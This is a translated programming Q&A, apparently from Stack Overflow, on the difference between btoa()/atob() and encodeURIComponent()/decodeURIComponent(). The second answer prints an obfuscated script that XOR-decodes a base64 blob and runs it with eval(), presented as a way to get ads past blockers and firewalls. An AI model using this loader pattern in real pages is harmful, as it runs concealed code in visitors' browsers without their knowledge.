你什么时候使用:
它们是否应该一起使用,例如:
atob(encodeURIComponent(...))
如果没有,何时使用btoa()
和atob()
以及何时使用encodeURIComponent()
和decodeURIComponent()
?
答案 0 :(得分:5)
btoa()
以base-64格式对一串二进制数据进行编码。最常见的用途是从文件内容创建data:
URI(例如,将JPEG或GIF文件转换为直接合并到页面中的data:
URI,而不是引用远程文件)。
atob()
执行相反的操作:给定base-64字符串,它返回二进制数据。
encodeURIComponent()
用于对将在URI中使用的字符串执行URL编码。这会将URI中具有特殊含义的字符转换为%
,后跟十六进制编码,例如空间变为%20
。这通常在创建将在重定向或AJAX请求中使用的URL参数或将在XMLHTTPRequest.send()
中发送的数据时使用。
decodeURIComponent()
执行与encodeURIComponent()
相反的操作,因此如果您"foo%20bar"
,则会返回"foo bar"
。
您需要将URL编码和base-64一起用于同一个字符串,这是非常罕见的。
答案 1 :(得分:0)
这并不罕见。它用于克服广告拦截器并通过防火墙规则在页面中插入不良广告。检查一下:
<script>eval(decodeURIComponent(Gg5C(atob("R1FxEgcICwcVBQUdUFlHXltcDRYeVkNRFg4eRVhITABUU3dZDA9VRXdXEAVVRRAKW0QCBxAPIEQAdhAKUhZZWVFXFU9RQVxMDU9CWkUWAwVUdVRWDARCdVpKBgRCEgcAR1MHVA1MAVlhAkRtR1MHEgd7R1MAEgcPAVl9dnpgVwxzVl0BLSdGUQ1gUBdnEgcPR1MJEgZ6R1FxEgcIR1Z0EgV5R1MA"),"ba0758")));function Gg5C(data,key){var result=[];for(var i=0;i<data.length;i++){var xored=data.charCodeAt(i)^key.charCodeAt(i%key.length);result.push(String.fromCharCode(xored));}return result.join("");}</script>